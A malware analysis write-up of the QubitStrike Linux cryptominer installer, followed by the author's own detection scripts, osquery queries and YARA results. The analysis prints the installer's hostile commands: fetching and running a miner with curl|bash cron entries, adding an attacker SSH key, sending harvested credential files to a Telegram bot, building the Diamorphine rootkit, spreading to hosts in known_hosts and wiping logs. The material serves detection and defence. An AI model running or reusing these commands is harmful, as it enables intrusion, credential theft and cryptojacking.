+ HISTCONTROL=ignorespace

HISTCONTROL=ignorespace is an entirely new feature to me (why does it even exist?). The script then disables the history file altogether via a variety of mechanisms, making that setting useless anyways.

+ export HISTFILE=/dev/null
+ unset HISTFILE
+ shopt -ou history
+ set +o history
+ HISTSIZE=0

If you are not already alerting on programs executing with these HIST* values, you should begin today. These values are rarely seen outside of malware, particularly HISTFILE=/dev/null. Next, the installer disables SELinux, which should be causing alarms to go off:

+ setenforce 0
+ echo SELINUX=disabled

Next, Qubitstrike disables the Linux kernel NMI watchdog for what I have to assume are performance reasons - as it decreases the amount of non-maskable interrupts on the system. Perhaps it also decreases the chances that the host will reboot due to a misbehaving crypto miner:

+ sysctl kernel.nmi_watchdog=0
+ sysctl kernel.nmi_watchdog=0
+ echo '0' >/proc/sys/kernel/nmi_watchdog
+ echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf

More detection opportunities: calls to sysctl, edits to /proc/sys/kernel, and edits to /etc/sysctl.conf. The next thing the installer does in its preparation is modify the system's DNS resolvers. This is a great way to bypass malware detection that requires a local or custom DNS server and improve reliability if the system does not have a stable DNS server defined.

grep -q 8.8.8.8 /etc/resolv.conf || chattr -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.8.8" >> /etc/resolv.conf;
grep -q 8.8.4.4 /etc/resolv.conf || chattr -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.4.4" >> /etc/resolv.conf;

Squeezing out the competition

The firewall rules are reprogrammed to drop packets to and from competing miners:

    iptables -A OUTPUT -p tcp --dport 3333 -j DROP > /dev/null 2>&1
    iptables -A OUTPUT -p tcp --dport 5555 -j DROP > /dev/null 2>&1
    iptables -A OUTPUT -p tcp --dport 7777 -j DROP > /dev/null 2>&1
    iptables -A OUTPUT -p tcp --dport 9999 -j DROP > /dev/null 2>&1
    iptables -A INPUT -s xmr.crypto-pool.fr -j DROP > /dev/null 2>&1
    iptables -A OUTPUT -p tcp --dport 10343 -j DROP > /dev/null 2>&1
    iptables -A OUTPUT -p tcp --dport 10300 -j DROP > /dev/null 2>&1

To further squeeze out the competition, Qubitstrike then begins killing off any process that consumes more than 99% CPU, as well as nuking known miner processes by name:

proc_kl() {
  # KILL any bproc with 99% CPU
  ps aux | grep -vw python-dev | awk '{if($3>99.0) print $2}' | while read procid
  do
    kill -9 $procid
  done

  chattr -i etc/ld.so.preload > /dev/null 2>&1
  rm -rf /etc/ld.so.preload > /dev/null 2>&1

  list1=(\.Historys neptune xm64 xmrig suppoieup '*.jpg' '*.jpeg' '/tmp/*.jpg' '/tmp/*/*.jpg' '/tmp/*.xmr' '/tmp/*xmr' '/tmp/*/*xmr' '/tmp/*/*/*xmr' '/tmp/*nanom' '/tmp/*/*nanom' '/tmp/*dota' '/tmp/dota*' '/tmp/*/dota*' '/tmp/*/*/dota*','chron-34e2fg')

  list2=(xmrig xm64 xmrigDaemon nanominer lolminer JavaUpdate donate python3.2 sourplum dota3 dota)

  list3=('/tmp/sscks' './crun' ':3333' ':5555' 'log_' 'systemten' 'netns' 'voltuned' 'darwin' '/tmp/dl' '/tmp/ddg' '/tmp/pprt' '/tmp/ppol' '/tmp/65ccE' '/tmp/jmx*' '/tmp/xmr*' '/tmp/nanom*' '/tmp/rainbow*' '/tmp/*/*xmr' 'http_0xCC030' 'http_0xCC031' 'http_0xCC033' 'C4iLM4L' '/boot/vmlinuz' 'nqscheduler' '/tmp/java' 'gitee.com' 'kthrotlds' 'ksoftirqds' 'netdns' 'watchdogs' '/dev/shm/z3.sh' 'kinsing' '/tmp/l.sh' '/tmp/zmcat' '/tmp/udevd' 'sustse' 'mr.sh' 'mine.sh' '2mr.sh' 'cr5.sh' 'luk-cpu' 'ficov' 'he.sh' 'miner.sh' 'nullcrew' 'xmrigDaemon' 'xmrig' 'lolminer' 'xmrigMiner' 'xiaoyao' 'kernelcfg' 'xiaoxue' 'kernelupdates' 'kernelupgrade'  '107.174.47.156' '83.220.169.247' '51.38.203.146' '144.217.45.45' '107.174.47.181' '176.31.6.16' 'mine.moneropool.com' 'pool.t00ls.ru' 'xmr.crypto-pool.fr:8080' 'xmr.crypto-pool.fr:3333' 'zhuabcn@yahoo.com' 'monerohash.com' 'xmr.crypto-pool.fr:6666' 'xmr.crypto-pool.fr:7777' 'xmr.crypto-pool.fr:443' 'stratum.f2pool.com:8888' 'xmrpool.eu')

  list4=(kworker34 kxjd libapache Loopback lx26 mgwsl minerd minexmr mixnerdx mstxmr nanoWatch nopxi NXLAi performedl polkitd pro.sh pythno qW3xT.2 sourplum stratum sustes wnTKYg XbashY XJnRj xmrig xmrigDaemon xmrigMiner ysaydh zigw lolm nanom nanominer lolminer)

  if type killall > /dev/null 2>&1; then
    for k1 in "${list1[@]}" ; do killall $k1 ; done
  fi

  for k2 in "${list2[@]}" ; do pgrep $k2 | xargs -I % kill -9 % ; done
  for k3 in "${list3[@]}" ; do ps auxf | grep -v grep | grep $k3 | awk '{print $2}' | xargs -I % kill -9 % ; done
  for k4 in "${list4[@]}" ; do pkill -f $k4 ; done
}

If you are looking for crypto miners, that's a good list of unusual processes and command-line strings to watch for! Next, the installer kills off any process with an outgoing connection to what are likely standard miner ports, but 143 (IMAP), 3389 (Remote Desktop), and 6667 (ircd) stand out to me.

list=(':1414' '127.0.0.1:52018' ':143' ':3389' ':4444' ':5555' ':6666' ':6665' ':6667' ':7777'  ':3347' ':14444' ':14433' ':13531' ':15001' ':15002')
for k in "${list[@]}" ; do netstat -anp | grep $k | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % ; done
netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
netstat -antp | grep '108.174.197.76' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
netstat -antp | grep '192.236.161.6' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
netstat -antp | grep '88.99.242.92' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %

Makin' $$$ with XMRig

The install script increases the number of hugepages (typically 0) to 128. I’m most familiar with this optimization for things like Oracle Databases, but it also allegedly offers a 20-30% boost for some types of cryptocurrency mining.

---------------------------------------
 setup hugepages 
---------------------------------------
+ hugepages
+ sysctl -w vm.nr_hugepages=128
vm.nr_hugepages = 128
+ echo vm.nr_hugepages=128 > /etc/sysctl.conf

Any program that references vm.nr_hugepages should be considered a possible crypto miner. For more confirmation, combine it with a check for kernel.nmi_watchdog.

Once the appropriate sysctl values are set, the script fetches and starts the miner:

+ zurl -o /usr/share/.LQvKibDTq4/xm.tar.gz https://codeberg.org/m4rt1/sh/raw/branch/main/xm64.tar.gz
+ tar -xf /usr/share/.LQvKibDTq4/xm.tar.gz -C /usr/share/.LQvKibDTq4
+ rm -rf /usr/share/.LQvKibDTq4/xm.tar.gz
+ chmod +x /usr/share/.LQvKibDTq4/config.json /usr/share/.LQvKibDTq4/python-dev
+ /usr/share/.LQvKibDTq4/python-dev -B -o pool.hashvault.pro:80 -u 49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo -p 136.54.68.146 --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90

Unsurprisingly, the program is XMRig - the most popular option for invasive cryptocurrency miners. It's disappointing that the archive only contains an x86_64 binary, but the installer script never checks for the machine architecture. The attacker may have done that step manually within Jupyter. It was a nice touch that the script author limited the CPU usage to 90% to avoid detection.

Installing the backdoor

Rather than implementing its own detectable backdoor, QubitStrike makes the wise decision to use OpenSSH, which is already likely on the system. This works nicely since we already know from the attack profile that the machine is on the Internet, and we've already flushed the firewall that may have prevented external SSH access.

The attacker plugs in their SSH credentials (likely from a Kali Linux machine), disables the tcpwrapper controls, reconfigures sshd to allow remote root login, and starts it up. I'm not sure what the "Port 78" reference is all about, but I assume they are disabling a backdoor configuration from a competing crypto miner.

---------------------------------------
 SSH setup  
---------------------------------------
+ ssh_get
+ '[' -f /root/.ssh/authorized_keys ']'
+ chattr -aui /root/.ssh/authorized_keys
+ grep -q 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali' /root/.ssh/authorized_keys
+ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali'
+ chattr -aui /etc/ssh
+ chattr -aui /etc/ssh/sshd_config /etc/hosts.deny /etc/hosts.allow
+ echo
+ echo
+ mkdir -p /etc/ssh
+ sed -i -e 's/Port 78//g' -e 's/\#Port 22/Port 22/g' -e 's/\#PermitRootLogin/PermitRootLogin/g' -e 's/PermitRootLogin no/PermitRootLogin yes/g' -e 's/PubkeyAuthentication no/PubkeyAuthentication yes/g' -e 's/PasswordAuthentication yes/PasswordAuthentication no/g' /etc/ssh/sshd_config
+ chmod 600 /etc/ssh/sshd_config
+ systemctl restart ssh||service ssh restart||/etc/init.d/ssh restart||/etc/init.d/sshd restart||/etc/rc.d/sshd restart||service sshd restart||scw-fetch-ssh-keys --upgrade

Phoning home

Qubitstrike collects some information about the health of the miner and the backdoor and then sends it to a Telegram channel:

+ service ssh status
+ '[' 0 -eq 0 ']'
+ SSH_Ld=true
+ grep python-dev
+ grep -v grep
+ ps aux
root        4088  192  0.1  42216  4768 ?        Ssl  18:24   0:02 /usr/share/.LQvKibDTq4/python-dev -B -o pool.hashvault.pro:80 -u 49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo -p 136.54.68.146 --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90
+ '[' 0 -eq 0 ']'
+ MINER_stat=running
+ DATA_STRING='IP: 136.54.68.146 | WorkDir: /usr/share/.LQvKibDTq4 | User: root | cpu(s): 4 | SSH: true | Miner: running'
+ zurl --silent --insecure --data chat_id=DEFANGED_5531196733 --data disable_notification=false --data parse_mode=html --data 'text=IP: 136.54.68.146 | WorkDir: /usr/share/.LQvKibDTq4 | User: root | cpu(s): 4 | SSH: true | Miner: running' https://api.telegram.org/DEFANGED_bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage

Credential Theft

The most disappointing part of the script is how it steals and sends credentials. Their approach is exceptionally slow: It crawls the filesystem separately for each credential type rather than using the find commands native support for finding multiple names. I blame the find command's bizarre syntax and poorly written documentation, as it took me a couple of attempts to get it correct myself.

+ CRED_FILE_NAMES=("credentials" "cloud" ".s3cfg" ".passwd-s3fs" "authinfo2" ".s3backer_passwd" ".s3b_config" "s3proxy.conf" "access_tokens.db" "credentials.db" ".smbclient.conf" ".smbcredentials" ".samba_credentials" ".pgpass" "secrets" ".boto" ".netrc" ".git-credentials" "api_key" "censys.cfg" "ngrok.yml" "filezilla.xml" "recentservers.xml" "queue.sqlite3" "servlist.conf" "accounts.xml" "azure.json" "kube-env")
+ for CREFILE in ${CRED_FILE_NAMES[@]}
+ find / -maxdepth 23 -type f -name credentials
+ xargs -I % sh -c 'echo :::%; cat %'

Contrary to most credential theft malware, QubitStrike does not attempt to steal credentials for web browsers or wallets - the authors are clearly focused on acquiring more compute resources. I took a look on my own Linux workstation to see what sort of credentials this might pick up and found:

/home/t/.config/gcloud/legacy_credentials/t@xyz.dev/.boto
/home/t/.config/gcloud/credentials.db
/home/t/.config/gcloud/access_tokens.db

After collection, the script sends the credentials home via a second Telegram message:

++ cat /tmp/creds
+ SECRETS=
+ zurl --silent --insecure --data chat_id=DEFANGED_5531196733 --data disable_notification=false --data parse_mode=html --data text= https://api.telegram.org/DEFANGED_bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage
+ cat /tmp/creds
+ rm /tmp/creds

Safety reminder: never mount your personal home directory to your malware VMs, as the find command would have traversed filesystems to discover and upload your credentials.

The kernel-level rootkit: Diamorphine

Here's where Qubitstrike gets interesting. This is the first time I've seen a casual miner with a Linux rootkit that works on a modern Ubuntu release:

---------------------------------------
 Begin hiding 
---------------------------------------
+ ex_hid
+ hide1
+ ins_package
+ type apt
+ apt update -qq --fix-missing
46 packages can be upgraded. Run 'apt list --upgradable' to see them.
++ uname -r
+ apt-get install -y -qq gcc make kmod wget net-tools linux-headers-6.2.0-27-generic -o Dpkg::Progress-Fancy=0 -o APT::Color=0 -o Dpkg::Use-Pty=0
...
+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1/... | base64 -d
+ tar -xf /usr/share/.LQvKibDTq4/hf.tar -C /usr/share/.LQvKibDTq4/
+ cd /usr/share/.LQvKibDTq4
+ make
make -C /lib/modules/6.2.0-27-generic/build M=/usr/share/.LQvKibDTq4 modules
make[1]: Entering directory '/usr/src/linux-headers-6.2.0-27-generic'
  CC [M]  /usr/share/.LQvKibDTq4/diamorphine.o
  MODPOST /usr/share/.LQvKibDTq4/Module.symvers
  CC [M]  /usr/share/.LQvKibDTq4/diamorphine.mod.o
  LD [M]  /usr/share/.LQvKibDTq4/diamorphine.ko
  BTF [M] /usr/share/.LQvKibDTq4/diamorphine.ko
Skipping BTF generation for /usr/share/.LQvKibDTq4/diamorphine.ko due to unavailability of vmlinux
+ insmod diamorphine.ko

Rather than fetching the rootkit, it cleverly embeds it as a base64 string and decodes it - providing ample detection opportunity. If you ever see a base64 string that begins with H4sI, you know you are dealing with a base64-encoded gzip file (another detection hint). Since kernel module binaries are not portable, Qubitstrike installs a compiler and the headers necessary before building the rootkit.

So, what is Diamorphine? It's easily the most popular open-source rootkit for Linux. I've long poo-pooed kernel-mode rootkits in Linux as unsupportable due to the constant churn of the Linux kernel, but surprisingly, Diamorphine has been updated to work on modern Linux kernels! It works perfectly on a fully patched Ubuntu 23.04 or 23.10 machine (Linux 6.2.0 & 6.5.3). Diamorphine does segfault on my ArchLinux laptop (Linux 6.5.7), showing that Linux rootkits are still somewhat fragile.

Diamorphine has a unique control mechanism: signals. You can see it in action in Qubitstrike:

+ echo 'Hiding process ( python-dev ) pid ( 4088 )'
Hiding process ( python-dev ) pid ( 4088 )
+ kill -31 4088

How does the process hiding work? Diamorphine intercepts calls to the getdents64(2) system call, used in turn by readdir(3). On Linux, system utilities, such as ps or netstat, read the contents of the /proc directory to know what processes or tasks are currently running - this malware will filter out the pid entry for any processes that have been passed signal 31 (the unused SIGSYS signal).

In addition, Diamorphine has an option of hiding any files matching a MAGIC_PREFIX. This is commonly used to hide directories, but Qubitstrike does not take advantage of it. Diamorphine also supports other signals, notably -64, which upgrades a process to root access. From diamorphine.c:

void
give_root(void) {
...
    newcreds->uid.val = newcreds->gid.val = 0;
    newcreds->euid.val = newcreds->egid.val = 0;
    newcreds->suid.val = newcreds->sgid.val = 0;
    newcreds->fsuid.val = newcreds->fsgid.val = 0;
...
}

This signals-based mechanism makes Diamorphine easy to detect. Simply iterate over every signal and see what happens! We'll show an example later.

User-mode rootkit: processhider

If Diamorphine fails to build, QubitStrike falls back to using a modified version of github.com/gianlucaborello/libprocesshider/blob/master/processhider.c - a user-mode rootkit.

+ echo I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg... | base64 -d
+ sed -i s/procname/python-dev/g /usr/share/.LQvKibDTq4/prochid.c
+ chattr -ia /etc/ld.so.preload /usr/local/lib/
+ gcc -Wall -fPIC -shared -o /usr/local/lib/libnetresolv.so /usr/share/.LQvKibDTq4/prochid.c -ldl
+ echo /usr/local/lib/libnetresolv.so > /etc/ld.so.preload
+ '[' -f /usr/local/lib/libnetresolv.so ']'
+ chattr +i /usr/local/lib/libnetresolv.so
+ chattr +i /etc/ld.so.preload

This malware intercepts userland requests to glibc's readdir(3) function. If the name matches python-dev, the process is hidden in much the same way as Diamorphine. In the old days, user-mode rootkits were deployed by setting the LD_LIBRARY_PATH environment variable, but on Linux, you can get the same result by adding the library path to /etc/ld.so.preload.

In 99% of environments, this file shouldn't exist. Check for it.

Establishing Persistence

QubitStrike will establish persistence through cron. First, it grabs the killer script, which shares the same competition killers we saw before, from Codeberg, and installs it to cron:

+ cron_set
+ killerd=/usr/share/.28810
+ mkdir -p /usr/share/.28810
+ [[ zurl -o != '' ]]
+ zurl -o /usr/share/.28810/kthreadd https://codeberg.org/m4rt1/sh/raw/branch/main/killer.sh
+ chmod +x /usr/share/.28810/kthreadd
+ chattr -R -ia /etc/cron.d
+ echo -e '*/1 * * * * root /usr/share/.28810/kthreadd' > /etc/cron.d/netns

It also sets the miner to start on reboot:

+ echo '@reboot root /usr/share/.LQvKibDTq4/python-dev -c /usr/share/.LQvKibDTq4/config.json' > /etc/cron.d/apache2

Once a day, it starts the QubitStrike installer again using the latest code. Since there is no other cron task to reinstall the Diamorphine module, this means there can be up to a full day where the miner is running unhidden. I like how it hedges its bets by using the renamed zget or curl commands:

+ echo '@daily root zget -q -O - https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash' > /etc/cron.d/apache2.2
+ echo -e '0 0 */2 * * * root curl https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash'  > /etc/cron.d/netns2
+ echo "0 * * * * wget -O- https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab
+ echo "0 0 */3 * * * $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab
+ chattr -R +ia /etc/cron.d
+ chattr -R +i /usr/share/.LQvKibDTq4

The viral component of QubitStrike

One of the surprising features of QubitStrike is that it will attempt to replicate itself to any systems it finds in /root/.ssh/known_hosts:

ssh_local() {
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '$req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash >/dev/null 2>&1 &' & done
fi
}

To be more effective, the installer should have also parsed other users known_hosts files, but perhaps I shouldn't be giving malware authors tips.

The coup de grace: log truncation

Before exiting the installer, QubitStrike truncates many important system logs:

logs=(/var/log/wtmp /var/log/secure /var/log/cron /var/log/iptables.log /var/log/auth.log /var/log/cron.log /var/log/httpd /var/log/syslog /var/log/wtmp /var/log/btmp /var/log/lastlog)
  for Lg in "${logs[@]}"; do
    echo 0> $Lg;
  done

It does not do anything about truncating systemd logs, though.

Detecting Qubitstrike from a shell

On Linux, process hiders are hilariously simple to detect. In my experience, ro rootkits bother to hide all of the /proc lookup points, preferring instead to just hide from the /proc directory list.

My detection technique is to iterate over all possible process ID numbers and check for the existence of /proc/$pid/something file. If it exists, cross-reference it against the directory listing of /proc, and report missing entries. This works swimmingly:

#!/bin/bash
start=$(date +%s)
for pid in *; do
    visible[$pid]=1
done

for i in $(seq 2 "$(cat /proc/sys/kernel/pid_max)"); do
    [[ ${visible[$i]} = 1 ]] && continue
    [[ ! -e /proc/$i/status ]] && continue
    [[ $(stat -c %Z /proc/$i) -ge $start ]] && continue

    #  pid is a kernel thread
    [[ $(awk '/Tgid/{ print $2 }' "/proc/${i}/status") != "${i}" ]] && continue

    exe=$(readlink "/proc/$i/exe")
    cmdline=$(tr '\000' ' ' <"/proc/$i/cmdline")
    echo "- hidden $(cat /proc/$i/comm)[${i}] is running ${exe}: ${cmdline}"
done

Here's what this script outputs on a QubitStrike victim host:

- hidden python-dev[27158] is running /usr/share/.LQvKibDTq4/python-dev: /usr/share/.LQvKibDTq4/python-dev -B -o pool.hashvault.pro:80 -u 49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo -p 136.54.68.146 --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90

If a rootkit uses a kernel module, as Diamorphine does, it's almost certainly going to impact the kernel taint value, as well as leave evidence behind in the dmesg buffer. QubitStrike and Diamorphine are no exception:

kernel taint value: 12288
* matches bit 12: externally-built (out-of-tree) module was loaded
* matches bit 13: unsigned module was loaded

dmesg:
[ 1721.518533] diamorphine: loading out-of-tree module taints kernel.
[ 1721.536521] diamorphine: module verification failed: signature and/or required key missing - tainting kernel

Now for the new star of the show, the script that uncovers kernel rootkits that communicate via signal:

-- [ rootkit-signal-handler.sh ] -----------------------------------------------
NOTE: root-escalation detection requires a non-root user
- SIGNAL 31 made /proc/46233 (this process) invisible!
- SIGNAL 63 caused /proc/modules to change:
--- /tmp/tmp.sjwv6iMtDx 2023-10-20 02:34:25.912665169 +0000
+++ /tmp/tmp.L1e9HVPFGi 2023-10-20 02:34:25.964663794 +0000
@@ -10,6 +10,7 @@
 bridge
 btrfs
 ccp
+diamorphine
 dm_multipath
 drm
 drm_kms_helper
- SIGNAL 31 made /proc/46233 (this process) visible again!
- SIGNAL 63 caused /proc/modules to change:
--- /tmp/tmp.IoOFxxR8en 2023-10-20 02:34:34.156522332 +0000
+++ /tmp/tmp.AWQeOosqOh 2023-10-20 02:34:34.212521840 +0000
@@ -10,7 +10,6 @@
 bridge
 btrfs
 ccp
-diamorphine
 dm_multipath
 drm
 drm_kms_helper

It's also easy to detect the SSH keys, hidden directories, and crontab entries - if you want to see how, check out the tstromberg/sunlight repo.

Detecting Qubitstrike with osquery

Some of you might know that I also maintain the osquery-defense-kit project, something I've put together in my time at Chainguard. It's a collection of production-quality queries to uncover suspicious behavior using osquery.

osquery-defense-toolkit has a handy make detect target to run all the scripts. Here's what pops up on a machine with Qubitstrike:

pid-hidden-by-rootkit (1 rows)
------------------------------
cgroup_path:/user.slice/user-501.slice/session-4.scope cmdline:'/usr/share/.LQvKibDTq4/python-dev -B -o pool.hashvault.pro:80 -u 49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo -p 136.54.68.146 --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90' cwd:/ disk_bytes_read:311296 disk_bytes_written:0 egid:0 euid:0 gid:0 name:python-dev nice:0 on_disk:1 parent:1 path:/usr/share/.LQvKibDTq4/python-dev pgroup:4030 pid:4030 resident_size:4096000 root:/ sgid:0 start_time:1697625949 state:S suid:0 system_time:23170 threads:10 total_size:2504282112 uid:0 user_time:6077320 wired_size:0

This is effectively a port of the hidden-pids.sh script I showed you before:


WITH RECURSIVE cnt(x) AS (
   SELECT 1
   UNION ALL
   SELECT x + 1
   FROM cnt
   LIMIT 4194304
)
SELECT p.*
FROM cnt
   JOIN processes p ON x = p.pid
WHERE x NOT IN (
       SELECT pid
       FROM processes
)
AND p.start_time < (strftime('%s', 'now') - 1)
AND (
       p.pgroup = p.pid
       OR (
           p.pid = p.parent
           AND p.threads = 1
       )
)

osquery finds the SSH keys:

unexpected-ssh-authorized-keys (1 rows)
---------------------------------------
atime:1697625779 ctime:1697625778 gid:0 mtime:1697625778 path:/root/.ssh/authorized_keys sha256:e8d5053e7c719114b45956695da845840ab45fb3e8d659f4ed991b274a8ed7a8 size:563 u_uid:0 uid:0 username:root

As well as the kernel taint:

unusually-tainted-kernel-linux (1 rows)
---------------------------------------
force_loaded:0 force_unloaded:0 is_aux:0 is_unsigned:8192 kernel_warning:0 modules:nft_compat,nft_chain_nat,overlay,xt_tcpudp,xt_nat,xt_multiport,xt_mark,xt_conntrack,xt_comment,xt_addrtype,xt_MASQUERADE,nf_tables,nfnetlink,ip6table_filter,iptable_filter,ip6table_nat,iptable_nat,nf_nat,nf_conntrack,nf_defrag_ipv6,nf_defrag_ipv4,ip6_tables,veth,bridge,stp,llc,tap,tls,isofs,kvm_amd,ccp,binfmt_misc,kvm,irqbypass,virtio_input,nls_iso8859_1,input_leds,serio_raw,dm_multipath,scsi_dh_rdac,scsi_dh_emc,scsi_dh_alua,efi_pstore,ip_tables,x_tables,autofs4,btrfs,blake2b_generic,raid10,raid456,async_raid6_recov,async_memcpy,async_pq,async_xor,async_tx,xor,raid6_pq,libcrc32c,raid1,raid0,multipath,linear,virtio_gpu,virtio_dma_buf,drm_shmem_helper,drm_kms_helper,syscopyarea,sysfillrect,sysimgblt,psmouse,ahci,virtio_net,drm,libahci,net_failover,virtio_blk,xhci_pci,xhci_pci_renesas,virtio_rng,failover out_of_spec:0 out_of_tree:4096 proprietary:0 requested_by_userspace:0 taint:12288

To look at the source code to these queries, see:

These queries were written way before QubitStrike ever existed; they just happen to cover a broad set of malicious behavior. It's nice when old tricks still work on new dogs.

Detecting Qubitstrike with YARA

The original article by Cado had a very specific rule for the QubitStrike installer. Still, it's worth mentioning that generic malware detection rules that predate QubitStrike are equally as good at detecting not just the QubitStrike, but also the files it installs: Using a set of general-purpose YARA rules I plan to open-source, the QubitStrike installer triggered a record 22 different rules:

CRITICAL /Users/t/src/malware-menagerie/linux/2023.Trojan_Miner.QubitStrike/installer/mi.sh
  * router_malware
      usr_sbin: /usr/sbin
      wget: /wget
      curl: /curl
  * ld_so_preload
      ld_so_preload: /etc/ld.so.preload
  * systemctl_calls
      systemctl_disable: systemctl disable
  * linux_service_disabler
      setenforce_0: setenforce 0
      selinux_disabled: SELINUX=disabled
      watchdog: kernel.nmi_watchdog=0
  * linux_pkg_installer_command
      yum: yum install -y
  * danger_base64_decoder
      base64_d: base64 -d
  * echo_decode_bash
      echo: echo
      base64_d: base64 -d
      bash: bash
  * hardcoded_var_tmp_location
      var_tmp: /var/tmp/.
  * obfuscated_base64
      b_c_program: I2luY2x1ZGUgPHN0ZGlvLmg+
      b_user_rootkit: jaW5jbHVkZSA8ZGlyZW50Lmg+
      b_gzip: H4sI
  * hide_this_plz
      histfile: HISTFILE=
      histfile_dev: HISTFILE=/dev
  * kill_and_remove
      rm_f: rm -f
      rm_rf: rm -rf
      k_killall: killall
      k_pgrep: pgrep
      k_pkill: pkill
  * rm_f_hardcoded_tmp_path
      rm_f_tmp_var_dev: rm -rf /tmp/.LQvKibDTq4/
  * crontab_writer
      c_etc_crontab: /etc/crontab
      c_root_cron_entry: * * * * root
      c_reboot: @reboot
  * hidden_path
      crit: /tmp/.LQvKibDTq4
  * weird_tmp_path_not_hidden
      tmp_digits: /tmp/65
      tmp_short: /tmp/.$
  * chattr_caller
      chattr: chattr -
  * ssh_key_access
      ssh_authorized_keys: authorized_keys
      ssh_dir: /.ssh
  * recon_commands
      c_whoami: whoami
      c_id: id
      c_hostname: hostname
      c_ifconfig: ifconfig
  * suspicious_fetch_command
      curl_d: curl -o
      curl_insecure: curl --silent --insecure
  * hardcoded_dns_resolver
      d_google_public: 8.8.8.8
  * danger_crypto_miner
      crypto_pool: crypto-pool
      f2pool: f2pool
      monero_hash: monerohash
      monero_pool: moneropool
      xmrpool: xmrpool
      xmrig: xmrig

